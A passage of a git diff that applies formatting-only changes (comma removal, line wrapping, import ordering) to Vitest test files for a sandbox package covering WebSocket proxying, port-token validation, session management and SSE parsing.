failed'); + await expect(client.listProcesses('session-err')).rejects.toThrow( + 'Network connection failed' + ); }); it('should handle malformed server responses', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { status: 200 }) + ); - await expect(client.startProcess('test-command', 'session-err')) - .rejects.toThrow(SandboxError); + await expect( + client.startProcess('test-command', 'session-err') + ).rejects.toThrow(SandboxError); }); }); @@ -650,9 +675,9 @@ data: {"type":"stdout","data":"Server ready on port 3000\\n","timestamp":"2023-0 it('should initialize with full options', () => { const fullOptionsClient = new ProcessClient({ baseUrl: 'http://custom.com', - port: 8080, + port: 8080 }); expect(fullOptionsClient).toBeDefined(); }); }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/request-handler.test.ts b/packages/sandbox/tests/request-handler.test.ts index f172c613..7c349fd1 100644 --- a/packages/sandbox/tests/request-handler.test.ts +++ b/packages/sandbox/tests/request-handler.test.ts @@ -7,7 +7,7 @@ vi.mock('../src/sandbox', () => { const mockFn = vi.fn(); return { getSandbox: mockFn, - Sandbox: vi.fn(), + Sandbox: vi.fn() }; }); @@ -25,11 +25,11 @@ describe('proxyToSandbox - WebSocket Support', () => { mockSandbox = { validatePortToken: vi.fn().mockResolvedValue(true), fetch: vi.fn().mockResolvedValue(new Response('WebSocket response')), - containerFetch: vi.fn().mockResolvedValue(new Response('HTTP response')), + containerFetch: vi.fn().mockResolvedValue(new Response('HTTP response')) }; mockEnv = { - Sandbox: {} as any, + Sandbox: {} as any }; vi.mocked(getSandbox).mockReturnValue(mockSandbox as Sandbox); @@ -37,12 +37,15 @@ describe('proxyToSandbox - WebSocket Support', () => { describe('WebSocket detection and routing', () => { it('should detect WebSocket upgrade header (case-insensitive)', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/ws', { - headers: { - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', - }, - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/ws', + { + headers: { + Upgrade: 'websocket', + Connection: 'Upgrade' + } + } + ); await proxyToSandbox(request, mockEnv); @@ -52,32 +55,40 @@ describe('proxyToSandbox - WebSocket Support', () => { }); it('should set cf-container-target-port header for WebSocket', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/ws', { - headers: { - 'Upgrade': 'websocket', - }, - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/ws', + { + headers: { + Upgrade: 'websocket' + } + } + ); await proxyToSandbox(request, mockEnv); expect(mockSandbox.fetch).toHaveBeenCalledTimes(1); - const fetchCall = vi.mocked(mockSandbox.fetch as any).mock.calls[0][0] as Request; + const fetchCall = vi.mocked(mockSandbox.fetch as any).mock + .calls[0][0] as Request; expect(fetchCall.headers.get('cf-container-target-port')).toBe('8080'); }); it('should preserve original headers for WebSocket', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/ws', { - headers: { - 'Upgrade': 'websocket', - 'Sec-WebSocket-Key': 'test-key-123', - 'Sec-WebSocket-Version': '13', - 'User-Agent': 'test-client', - }, - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/ws', + { + headers: { + Upgrade: 'websocket', + 'Sec-WebSocket-Key': 'test-key-123', + 'Sec-WebSocket-Version': '13', + 'User-Agent': 'test-client' + } + } + ); await proxyToSandbox(request, mockEnv); - const fetchCall = vi.mocked(mockSandbox.fetch as any).mock.calls[0][0] as Request; + const fetchCall = vi.mocked(mockSandbox.fetch as any).mock + .calls[0][0] as Request; expect(fetchCall.headers.get('Upgrade')).toBe('websocket'); expect(fetchCall.headers.get('Sec-WebSocket-Key')).toBe('test-key-123'); expect(fetchCall.headers.get('Sec-WebSocket-Version')).toBe('13'); @@ -87,9 +98,12 @@ describe('proxyToSandbox - WebSocket Support', () => { describe('HTTP routing (existing behavior)', () => { it('should route HTTP requests through containerFetch', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/api/data', { - method: 'GET', - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/api/data', + { + method: 'GET' + } + ); await proxyToSandbox(request, mockEnv); @@ -99,13 +113,16 @@ describe('proxyToSandbox - WebSocket Support', () => { }); it('should route POST requests through containerFetch', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/api/data', { - method: 'POST', - body: JSON.stringify({ data: 'test' }), - headers: { - 'Content-Type': 'application/json', - }, - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/api/data', + { + method: 'POST', + body: JSON.stringify({ data: 'test' }), + headers: { + 'Content-Type': 'application/json' + } + } + ); await proxyToSandbox(request, mockEnv); @@ -114,11 +131,14 @@ describe('proxyToSandbox - WebSocket Support', () => { }); it('should not detect SSE as WebSocket', async () => { - const request = new Request('https://8080-sandbox-token12345678901.example.com/events', { - headers: { - 'Accept': 'text/event-stream', - }, - }); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/events', + { + headers: { + Accept: 'text/event-stream' + } + } + ); await proxyToSandbox(request, mockEnv); @@ -130,26 +150,40 @@ describe('proxyToSandbox - WebSocket Support', () => { describe('Token validation', () => { it('should validate token for both WebSocket and HTTP requests', async () => { - const wsRequest = new Request('https://8080-sandbox-token12345678901.example.com/ws', { - headers: { 'Upgrade': 'websocket' }, - }); + const wsRequest = new Request( + 'https://8080-sandbox-token12345678901.example.com/ws', + { + headers: { Upgrade: 'websocket' } + } + ); await proxyToSandbox(wsRequest, mockEnv); - expect(mockSandbox.validatePortToken).toHaveBeenCalledWith(8080, 'token12345678901'); + expect(mockSandbox.validatePortToken).toHaveBeenCalledWith( + 8080, + 'token12345678901' + ); vi.clearAllMocks(); - const httpRequest = new Request('https://8080-sandbox-token12345678901.example.com/api'); + const httpRequest = new Request( + 'https://8080-sandbox-token12345678901.example.com/api' + ); await proxyToSandbox(httpRequest, mockEnv); - expect(mockSandbox.validatePortToken).toHaveBeenCalledWith(8080, 'token12345678901'); + expect(mockSandbox.validatePortToken).toHaveBeenCalledWith( + 8080, + 'token12345678901' + ); }); it('should reject requests with invalid token', async () => { vi.mocked(mockSandbox.validatePortToken as any).mockResolvedValue(false); - const request = new Request('https://8080-sandbox-invalidtoken1234.example.com/ws', { - headers: { 'Upgrade': 'websocket' }, - }); + const request = new Request( + 'https://8080-sandbox-invalidtoken1234.example.com/ws', + { + headers: { Upgrade: 'websocket' } + } + ); const response = await proxyToSandbox(request, mockEnv); @@ -159,15 +193,18 @@ describe('proxyToSandbox - WebSocket Support', () => { const body = await response?.json(); expect(body).toMatchObject({ error: 'Access denied: Invalid token or port not exposed', - code: 'INVALID_TOKEN', + code: 'INVALID_TOKEN' }); }); it('should reject reserved port 3000', async () => { // Port 3000 is reserved as control plane port and rejected by validatePort() - const request = new Request('https://3000-sandbox-anytoken12345678.example.com/status', { - method: 'GET', - }); + const request = new Request( + 'https://3000-sandbox-anytoken12345678.example.com/status', + { + method: 'GET' + } + ); const response = await proxyToSandbox(request, mockEnv); @@ -180,13 +217,19 @@ describe('proxyToSandbox - WebSocket Support', () => { describe('Port routing', () => { it('should route to correct port from subdomain', async () => { - const request = new Request('https://9000-sandbox-token12345678901.example.com/api', { - method: 'GET', - }); + const request = new Request( + 'https://9000-sandbox-token12345678901.example.com/api', + { + method: 'GET' + } + ); await proxyToSandbox(request, mockEnv); - expect(mockSandbox.validatePortToken).toHaveBeenCalledWith(9000, 'token12345678901'); + expect(mockSandbox.validatePortToken).toHaveBeenCalledWith( + 9000, + 'token12345678901' + ); }); }); @@ -212,13 +255,18 @@ describe('proxyToSandbox - WebSocket Support', () => { describe('Error handling', () => { it('should handle errors during WebSocket routing', async () => { - (mockSandbox.fetch as any).mockImplementation(() => Promise.reject(new Error('Connection failed'))); - - const request = new Request('https://8080-sandbox-token12345678901.example.com/ws', { - headers: { - 'Upgrade': 'websocket', - }, - }); + (mockSandbox.fetch as any).mockImplementation(() => + Promise.reject(new Error('Connection failed')) + ); + + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/ws', + { + headers: { + Upgrade: 'websocket' + } + } + ); const response = await proxyToSandbox(request, mockEnv); @@ -228,9 +276,13 @@ describe('proxyToSandbox - WebSocket Support', () => { }); it('should handle errors during HTTP routing', async () => { - (mockSandbox.containerFetch as any).mockImplementation(() => Promise.reject(new Error('Service error'))); + (mockSandbox.containerFetch as any).mockImplementation(() => + Promise.reject(new Error('Service error')) + ); - const request = new Request('https://8080-sandbox-token12345678901.example.com/api'); + const request = new Request( + 'https://8080-sandbox-token12345678901.example.com/api' + ); const response = await proxyToSandbox(request, mockEnv); diff --git a/packages/sandbox/tests/sandbox.test.ts b/packages/sandbox/tests/sandbox.test.ts index 279597c5..757fd18b 100644 --- a/packages/sandbox/tests/sandbox.test.ts +++ b/packages/sandbox/tests/sandbox.test.ts @@ -1,11 +1,11 @@ import { Container } from '@cloudflare/containers'; import type { DurableObjectState } from '@cloudflare/workers-types'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { Sandbox, connect } from '../src/sandbox'; +import { connect, Sandbox } from '../src/sandbox'; // Mock dependencies before imports vi.mock('./interpreter', () => ({ - CodeInterpreter: vi.fn().mockImplementation(() => ({})), + CodeInterpreter: vi.fn().mockImplementation(() => ({})) })); vi.mock('@cloudflare/containers', () => { @@ -31,9 +31,9 @@ vi.mock('@cloudflare/containers', () => { status: 200, headers: { 'X-WebSocket-Upgraded': 'true', - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', - }, + Upgrade: 'websocket', + Connection: 'Upgrade' + } }); } return new Response('Mock Container fetch'); @@ -47,7 +47,7 @@ vi.mock('@cloudflare/containers', () => { return { Container: MockContainer, getContainer: vi.fn(), - switchPort: mockSwitchPort, + switchPort: mockSwitchPort }; }); @@ -65,14 +65,18 @@ describe('Sandbox - Automatic Session Management', () => { get: vi.fn().mockResolvedValue(null), put: vi.fn().mockResolvedValue(undefined), delete: vi.fn().mockResolvedValue(undefined), - list: vi.fn().mockResolvedValue(new Map()), + list: vi.fn().mockResolvedValue(new Map()) } as any, - blockConcurrencyWhile: vi.fn().mockImplementation((callback: () => Promise): Promise => callback()), + blockConcurrencyWhile: vi + .fn() + .mockImplementation( + (callback: () => Promise): Promise => callback() + ), id: { toString: () => 'test-sandbox-id', equals: vi.fn(), - name: 'test-sandbox', - } as any, + name: 'test-sandbox' + } as any }; mockEnv = {}; @@ -89,7 +93,7 @@ describe('Sandbox - Automatic Session Management', () => { vi.spyOn(sandbox.client.utils, 'createSession').mockResolvedValue({ success: true, id: 'sandbox-default', - message: 'Created', + message: 'Created' } as any); vi.spyOn(sandbox.client.commands, 'execute').mockResolvedValue({ @@ -98,13 +102,13 @@ describe('Sandbox - Automatic Session Management', () => { stderr: '', exitCode: 0, command: '', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); vi.spyOn(sandbox.client.files, 'writeFile').mockResolvedValue({ success: true, path: '/test.txt', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); }); @@ -120,7 +124,7 @@ describe('Sandbox - Automatic Session Management', () => { stderr: '', exitCode: 0, command: 'echo test', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); await sandbox.exec('echo test'); @@ -129,7 +133,7 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: expect.stringMatching(/^sandbox-/), env: {}, - cwd: '/workspace', + cwd: '/workspace' }); expect(sandbox.client.commands.execute).toHaveBeenCalledWith( @@ -145,9 +149,12 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledTimes(1); - const firstSessionId = vi.mocked(sandbox.client.commands.execute).mock.calls[0][1]; - const fileSessionId = vi.mocked(sandbox.client.files.writeFile).mock.calls[0][2]; - const secondSessionId = vi.mocked(sandbox.client.commands.execute).mock.calls[1][1]; + const firstSessionId = vi.mocked(sandbox.client.commands.execute).mock + .calls[0][1]; + const fileSessionId = vi.mocked(sandbox.client.files.writeFile).mock + .calls[0][2]; + const secondSessionId = vi.mocked(sandbox.client.commands.execute).mock + .calls[1][1]; expect(firstSessionId).toBe(fileSessionId); expect(firstSessionId).toBe(secondSessionId); @@ -159,19 +166,21 @@ describe('Sandbox - Automatic Session Management', () => { processId: 'proc-1', pid: 1234, command: 'sleep 10', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); vi.spyOn(sandbox.client.processes, 'listProcesses').mockResolvedValue({ success: true, - processes: [{ - id: 'proc-1', - pid: 1234, - command: 'sleep 10', - status: 'running', - startTime: new Date().toISOString(), - }], - timestamp: new Date().toISOString(), + processes: [ + { + id: 'proc-1', + pid: 1234, + command: 'sleep 10', + status: 'running', + startTime: new Date().toISOString() + } + ], + timestamp: new Date().toISOString() } as any); const process = await sandbox.startProcess('sleep 10'); @@ -180,11 +189,14 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledTimes(1); // startProcess uses sessionId (to start process in that session) - const startSessionId = vi.mocked(sandbox.client.processes.startProcess).mock.calls[0][1]; + const startSessionId = vi.mocked(sandbox.client.processes.startProcess) + .mock.calls[0][1]; expect(startSessionId).toMatch(/^sandbox-/); // listProcesses is sandbox-scoped - no sessionId parameter - const listProcessesCall = vi.mocked(sandbox.client.processes.listProcesses).mock.calls[0]; + const listProcessesCall = vi.mocked( + sandbox.client.processes.listProcesses + ).mock.calls[0]; expect(listProcessesCall).toEqual([]); // Verify the started process appears in the list @@ -200,10 +212,12 @@ describe('Sandbox - Automatic Session Management', () => { stderr: '', branch: 'main', targetDir: '/workspace/repo', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); - await sandbox.gitCheckout('https://github.com/test/repo.git', { branch: 'main' }); + await sandbox.gitCheckout('https://github.com/test/repo.git', { + branch: 'main' + }); expect(sandbox.client.utils.createSession).toHaveBeenCalledTimes(1); expect(sandbox.client.git.checkout).toHaveBeenCalledWith( @@ -221,7 +235,7 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: 'sandbox-my-sandbox', env: {}, - cwd: '/workspace', + cwd: '/workspace' }); }); }); @@ -231,19 +245,19 @@ describe('Sandbox - Automatic Session Management', () => { vi.mocked(sandbox.client.utils.createSession).mockResolvedValueOnce({ success: true, id: 'custom-session-123', - message: 'Created', + message: 'Created' } as any); const session = await sandbox.createSession({ id: 'custom-session-123', env: { NODE_ENV: 'test' }, - cwd: '/test', + cwd: '/test' }); expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: 'custom-session-123', env: { NODE_ENV: 'test' }, - cwd: '/test', + cwd: '/test' }); expect(session.id).toBe('custom-session-123'); @@ -257,7 +271,7 @@ describe('Sandbox - Automatic Session Management', () => { vi.mocked(sandbox.client.utils.createSession).mockResolvedValueOnce({ success: true, id: 'isolated-session', - message: 'Created', + message: 'Created' } as any); const session = await sandbox.createSession({ id: 'isolated-session' }); @@ -272,8 +286,16 @@ describe('Sandbox - Automatic Session Management', () => { it('should isolate multiple explicit sessions', async () => { vi.mocked(sandbox.client.utils.createSession) - .mockResolvedValueOnce({ success: true, id: 'session-1', message: 'Created' } as any) - .mockResolvedValueOnce({ success: true, id: 'session-2', message: 'Created' } as any); + .mockResolvedValueOnce({ + success: true, + id: 'session-1', + message: 'Created' + } as any) + .mockResolvedValueOnce({ + success: true, + id: 'session-2', + message: 'Created' + } as any); const session1 = await sandbox.createSession({ id: 'session-1' }); const session2 = await sandbox.createSession({ id: 'session-2' }); @@ -281,8 +303,10 @@ describe('Sandbox - Automatic Session Management', () => { await session1.exec('echo build'); await session2.exec('echo test'); - const session1Id = vi.mocked(sandbox.client.commands.execute).mock.calls[0][1]; - const session2Id = vi.mocked(sandbox.client.commands.execute).mock.calls[1][1]; + const session1Id = vi.mocked(sandbox.client.commands.execute).mock + .calls[0][1]; + const session2Id = vi.mocked(sandbox.client.commands.execute).mock + .calls[1][1]; expect(session1Id).toBe('session-1'); expect(session2Id).toBe('session-2'); @@ -291,19 +315,32 @@ describe('Sandbox - Automatic Session Management', () => { it('should not interfere with default session', async () => { vi.mocked(sandbox.client.utils.createSession) - .mockResolvedValueOnce({ success: true, id: 'sandbox-default', message: 'Created' } as any) - .mockResolvedValueOnce({ success: true, id: 'explicit-session', message: 'Created' } as any); + .mockResolvedValueOnce({ + success: true, + id: 'sandbox-default', + message: 'Created' + } as any) + .mockResolvedValueOnce({ + success: true, + id: 'explicit-session', + message: 'Created' + } as any); await sandbox.exec('echo default'); - const explicitSession = await sandbox.createSession({ id: 'explicit-session' }); + const explicitSession = await sandbox.createSession({ + id: 'explicit-session' + }); await explicitSession.exec('echo explicit'); await sandbox.exec('echo default-again'); - const defaultSessionId1 = vi.mocked(sandbox.client.commands.execute).mock.calls[0][1]; - const explicitSessionId = vi.mocked(sandbox.client.commands.execute).mock.calls[1][1]; - const defaultSessionId2 = vi.mocked(sandbox.client.commands.execute).mock.calls[2][1]; + const defaultSessionId1 = vi.mocked(sandbox.client.commands.execute).mock + .calls[0][1]; + const explicitSessionId = vi.mocked(sandbox.client.commands.execute).mock + .calls[1][1]; + const defaultSessionId2 = vi.mocked(sandbox.client.commands.execute).mock + .calls[2][1]; expect(defaultSessionId1).toBe('sandbox-default'); expect(explicitSessionId).toBe('explicit-session'); @@ -316,7 +353,7 @@ describe('Sandbox - Automatic Session Management', () => { vi.mocked(sandbox.client.utils.createSession).mockResolvedValueOnce({ success: true, id: 'session-generated-123', - message: 'Created', + message: 'Created' } as any); await sandbox.createSession(); @@ -324,7 +361,7 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: expect.stringMatching(/^session-/), env: undefined, - cwd: undefined, + cwd: undefined }); }); }); @@ -336,7 +373,7 @@ describe('Sandbox - Automatic Session Management', () => { vi.mocked(sandbox.client.utils.createSession).mockResolvedValueOnce({ success: true, id: 'test-session', - message: 'Created', + message: 'Created' } as any); session = await sandbox.createSession({ id: 'test-session' }); @@ -344,7 +381,10 @@ describe('Sandbox - Automatic Session Management', () => { it('should execute command with session context', async () => { await session.exec('pwd'); - expect(sandbox.client.commands.execute).toHaveBeenCalledWith('pwd', 'test-session'); + expect(sandbox.client.commands.execute).toHaveBeenCalledWith( + 'pwd', + 'test-session' + ); }); it('should start process with session context', async () => { @@ -355,8 +395,8 @@ describe('Sandbox - Automatic Session Management', () => { pid: 1234, command: 'sleep 10', status: 'running', - startTime: new Date().toISOString(), - }, + startTime: new Date().toISOString() + } } as any); await session.startProcess('sleep 10'); @@ -372,7 +412,7 @@ describe('Sandbox - Automatic Session Management', () => { vi.spyOn(sandbox.client.files, 'writeFile').mockResolvedValue({ success: true, path: '/test.txt', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); await session.writeFile('/test.txt', 'content'); @@ -392,7 +432,7 @@ describe('Sandbox - Automatic Session Management', () => { stderr: '', branch: 'main', targetDir: '/workspace/repo', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() } as any); await session.gitCheckout('https://github.com/test/repo.git'); @@ -411,7 +451,9 @@ describe('Sandbox - Automatic Session Management', () => { new Error('Session creation failed') ); - await expect(sandbox.exec('echo test')).rejects.toThrow('Session creation failed'); + await expect(sandbox.exec('echo test')).rejects.toThrow( + 'Session creation failed' + ); }); it('should initialize with empty environment when not set', async () => { @@ -420,7 +462,7 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: expect.any(String), env: {}, - cwd: '/workspace', + cwd: '/workspace' }); }); @@ -432,7 +474,7 @@ describe('Sandbox - Automatic Session Management', () => { expect(sandbox.client.utils.createSession).toHaveBeenCalledWith({ id: expect.any(String), env: { NODE_ENV: 'production', DEBUG: 'true' }, - cwd: '/workspace', + cwd: '/workspace' }); }); }); @@ -444,7 +486,7 @@ describe('Sandbox - Automatic Session Management', () => { success: true, port: 8080, name: 'test-service', - exposedAt: new Date().toISOString(), + exposedAt: new Date().toISOString() } as any); }); @@ -478,7 +520,10 @@ describe('Sandbox - Automatic Session Management', () => { ]; for (const { hostname } of testCases) { - const result = await sandbox.exposePort(8080, { name: 'test', hostname }); + const result = await sandbox.exposePort(8080, { + name: 'test', + hostname + }); expect(result.url).toContain(hostname); expect(result.port).toBe(8080); } @@ -502,7 +547,8 @@ describe('Sandbox - Automatic Session Management', () => { await sandbox.setSandboxName('test-sandbox'); // Spy on Container.prototype.fetch to verify WebSocket routing - superFetchSpy = vi.spyOn(Container.prototype, 'fetch') + superFetchSpy = vi + .spyOn(Container.prototype, 'fetch') .mockResolvedValue(new Response('WebSocket response')); }); @@ -513,9 +559,9 @@ describe('Sandbox - Automatic Session Management', () => { it('should detect WebSocket upgrade header and route to super.fetch', async () => { const request = new Request('https://example.com/ws', { headers: { - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', - }, + Upgrade: 'websocket', + Connection: 'Upgrade' + } }); const response = await sandbox.fetch(request); @@ -537,7 +583,7 @@ describe('Sandbox - Automatic Session Management', () => { const postRequest = new Request('https://example.com/api/data', { method: 'POST', body: JSON.stringify({ data: 'test' }), - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); await sandbox.fetch(postRequest); expect(superFetchSpy).not.toHaveBeenCalled(); @@ -546,7 +592,7 @@ describe('Sandbox - Automatic Session Management', () => { // SSE request (should not be detected as WebSocket) const sseRequest = new Request('https://example.com/events', { - headers: { 'Accept': 'text/event-stream' }, + headers: { Accept: 'text/event-stream' } }); await sandbox.fetch(sseRequest); expect(superFetchSpy).not.toHaveBeenCalled(); @@ -555,11 +601,11 @@ describe('Sandbox - Automatic Session Management', () => { it('should preserve WebSocket request unchanged when calling super.fetch()', async () => { const request = new Request('https://example.com/ws', { headers: { - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', + Upgrade: 'websocket', + Connection: 'Upgrade', 'Sec-WebSocket-Key': 'test-key-123', - 'Sec-WebSocket-Version': '13', - }, + 'Sec-WebSocket-Version': '13' + } }); await sandbox.fetch(request); @@ -568,7 +614,9 @@ describe('Sandbox - Automatic Session Management', () => { const passedRequest = superFetchSpy.mock.calls[0][0] as Request; expect(passedRequest.headers.get('Upgrade')).toBe('websocket'); expect(passedRequest.headers.get('Connection')).toBe('Upgrade'); - expect(passedRequest.headers.get('Sec-WebSocket-Key')).toBe('test-key-123'); + expect(passedRequest.headers.get('Sec-WebSocket-Key')).toBe( + 'test-key-123' + ); expect(passedRequest.headers.get('Sec-WebSocket-Version')).toBe('13'); }); }); @@ -580,9 +628,9 @@ describe('Sandbox - Automatic Session Management', () => { const request = new Request('http://localhost/ws/echo', { headers: { - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', - }, + Upgrade: 'websocket', + Connection: 'Upgrade' + } }); const fetchSpy = vi.spyOn(sandbox, 'fetch'); @@ -601,27 +649,40 @@ describe('Sandbox - Automatic Session Management', () => { it('should reject invalid ports with SecurityError', async () => { const request = new Request('http://localhost/ws/test', { - headers: { 'Upgrade': 'websocket', 'Connection': 'Upgrade' }, + headers: { Upgrade: 'websocket', Connection: 'Upgrade' } }); // Invalid port values - await expect(connect(sandbox, request, -1)).rejects.toThrow('Invalid or restricted port'); - await expect(connect(sandbox, request, 0)).rejects.toThrow('Invalid or restricted port'); - await expect(connect(sandbox, request, 70000)).rejects.toThrow('Invalid or restricted port'); + await expect(connect(sandbox, request, -1)).rejects.toThrow( + 'Invalid or restricted port' + ); + await expect(connect(sandbox, request, 0)).rejects.toThrow( + 'Invalid or restricted port' + ); + await expect(connect(sandbox, request, 70000)).rejects.toThrow( + 'Invalid or restricted port' + ); // Privileged ports - await expect(connect(sandbox, request, 80)).rejects.toThrow('Invalid or restricted port'); - await expect(connect(sandbox, request, 443)).rejects.toThrow('Invalid or restricted port'); + await expect(connect(sandbox, request, 80)).rejects.toThrow( + 'Invalid or restricted port' + ); + await expect(connect(sandbox, request, 443)).rejects.toThrow( + 'Invalid or restricted port' + ); }); it('should preserve request properties through routing', async () => { - const request = new Request('http://localhost/ws/test?token=abc&room=lobby', { - headers: { - 'Upgrade': 'websocket', - 'Connection': 'Upgrade', - 'X-Custom-Header': 'custom-value', - }, - }); + const request = new Request( + 'http://localhost/ws/test?token=abc&room=lobby', + { + headers: { + Upgrade: 'websocket', + Connection: 'Upgrade', + 'X-Custom-Header': 'custom-value' + } + } + ); const fetchSpy = vi.spyOn(sandbox, 'fetch'); await connect(sandbox, request, 8080); diff --git a/packages/sandbox/tests/sse-parser.test.ts b/packages/sandbox/tests/sse-parser.test.ts index b9b81296..a61e48d9 100644 --- a/packages/sandbox/tests/sse-parser.test.ts +++ b/packages/sandbox/tests/sse-parser.test.ts @@ -1,5 +1,9 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { asyncIterableToSSEStream, parseSSEStream, responseToAsyncIterable } from '../src/sse-parser'; +import { + asyncIterableToSSEStream, + parseSSEStream, + responseToAsyncIterable +} from '../src/sse-parser'; function createMockSSEStream(events: string[]): ReadableStream { return new ReadableStream({ @@ -25,7 +29,6 @@ describe('SSE Parser', () => { }); describe('parseSSEStream', () => { - it('should parse valid SSE events', async () => { const stream = createMockSSEStream([ 'data: {"type":"start","command":"echo test"}\n\n', @@ -134,9 +137,7 @@ describe('SSE Parser', () => { }); it('should handle remaining buffer data after stream ends', async () => { - const stream = createMockSSEStream([ - 'data: {"type":"complete"}' - ]); + const stream = createMockSSEStream(['data: {"type":"complete"}']); const events: any[] = []; for await (const event of parseSSEStream(stream)) { @@ -153,7 +154,8 @@ describe('SSE Parser', () => { controller.abort(); await expect(async () => { - for await (const event of parseSSEStream(stream, controller.signal)) {} + for await (const event of parseSSEStream(stream, controller.signal)) { + } }).rejects.toThrow('Operation was aborted'); }); @@ -236,10 +238,10 @@ describe('SSE Parser', () => { const stream = asyncIterableToSSEStream(mockEvents()); const reader = stream.getReader(); const decoder = new TextDecoder(); - + const chunks: string[] = []; let done = false; - + while (!done) { const { value, done: readerDone } = await reader.read(); done = readerDone; @@ -251,9 +253,9 @@ describe('SSE Parser', () => { const fullOutput = chunks.join(''); expect(fullOutput).toBe( 'data: {"type":"start","command":"test"}\n\n' + - 'data: {"type":"stdout","data":"output"}\n\n' + - 'data: {"type":"complete","exitCode":0}\n\n' + - 'data: [DONE]\n\n' + 'data: {"type":"stdout","data":"output"}\n\n' + + 'data: {"type":"complete","exitCode":0}\n\n' + + 'data: [DONE]\n\n' ); }); @@ -262,10 +264,9 @@ describe('SSE Parser', () => { yield { name: 'test', value: 123 }; } - const stream = asyncIterableToSSEStream( - mockEvents(), - { serialize: (event) => `custom:${event.name}=${event.value}` } - ); + const stream = asyncIterableToSSEStream(mockEvents(), { + serialize: (event) => `custom:${event.name}=${event.value}` + }); const reader = stream.getReader(); const decoder = new TextDecoder(); @@ -287,4 +288,4 @@ describe('SSE Parser', () => { await expect(reader.read()).rejects.toThrow('Async iterable error'); }); }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/utility-client.test.ts b/packages/sandbox/tests/utility-client.test.ts index 6e59a95d..3265ef41 100644 --- a/packages/sandbox/tests/utility-client.test.ts +++ b/packages/sandbox/tests/utility-client.test.ts @@ -5,12 +5,12 @@ import type { VersionResponse } from '../src/clients'; import { UtilityClient } from '../src/clients/utility-client'; -import { - SandboxError -} from '../src/errors'; +import { SandboxError } from '../src/errors'; // Mock data factory for creating test responses -const mockPingResponse = (overrides: Partial = {}): PingResponse => ({ +const mockPingResponse = ( + overrides: Partial = {} +): PingResponse => ({ success: true, message: 'pong', uptime: 12345, @@ -18,7 +18,10 @@ const mockPingResponse = (overrides: Partial = {}): PingResponse = ...overrides }); -const mockCommandsResponse = (commands: string[], overrides: Partial = {}): CommandsResponse => ({ +const mockCommandsResponse = ( + commands: string[], + overrides: Partial = {} +): CommandsResponse => ({ success: true, availableCommands: commands, count: commands.length, @@ -26,7 +29,10 @@ const mockCommandsResponse = (commands: string[], overrides: Partial = {}): VersionResponse => ({ +const mockVersionResponse = ( + version: string = '0.4.5', + overrides: Partial = {} +): VersionResponse => ({ success: true, version, timestamp: '2023-01-01T00:00:00Z', @@ -45,7 +51,7 @@ describe('UtilityClient', () => { client = new UtilityClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); }); @@ -55,10 +61,9 @@ describe('UtilityClient', () => { describe('health checking', () => { it('should check sandbox health successfully', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockPingResponse()), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockPingResponse()), { status: 200 }) + ); const result = await client.ping(); @@ -69,10 +74,11 @@ describe('UtilityClient', () => { const messages = ['pong', 'alive', 'ok']; for (const message of messages) { - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(mockPingResponse({ message })), - { status: 200 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(mockPingResponse({ message })), { + status: 200 + }) + ); const result = await client.ping(); expect(result).toBe(message); @@ -87,11 +93,11 @@ describe('UtilityClient', () => { const healthChecks = await Promise.all([ client.ping(), client.ping(), - client.ping(), + client.ping() ]); expect(healthChecks).toHaveLength(3); - healthChecks.forEach(result => { + healthChecks.forEach((result) => { expect(result).toBe('pong'); }); @@ -104,10 +110,9 @@ describe('UtilityClient', () => { code: 'HEALTH_CHECK_FAILED' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 503 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 503 }) + ); await expect(client.ping()).rejects.toThrow(); }); @@ -123,10 +128,11 @@ describe('UtilityClient', () => { 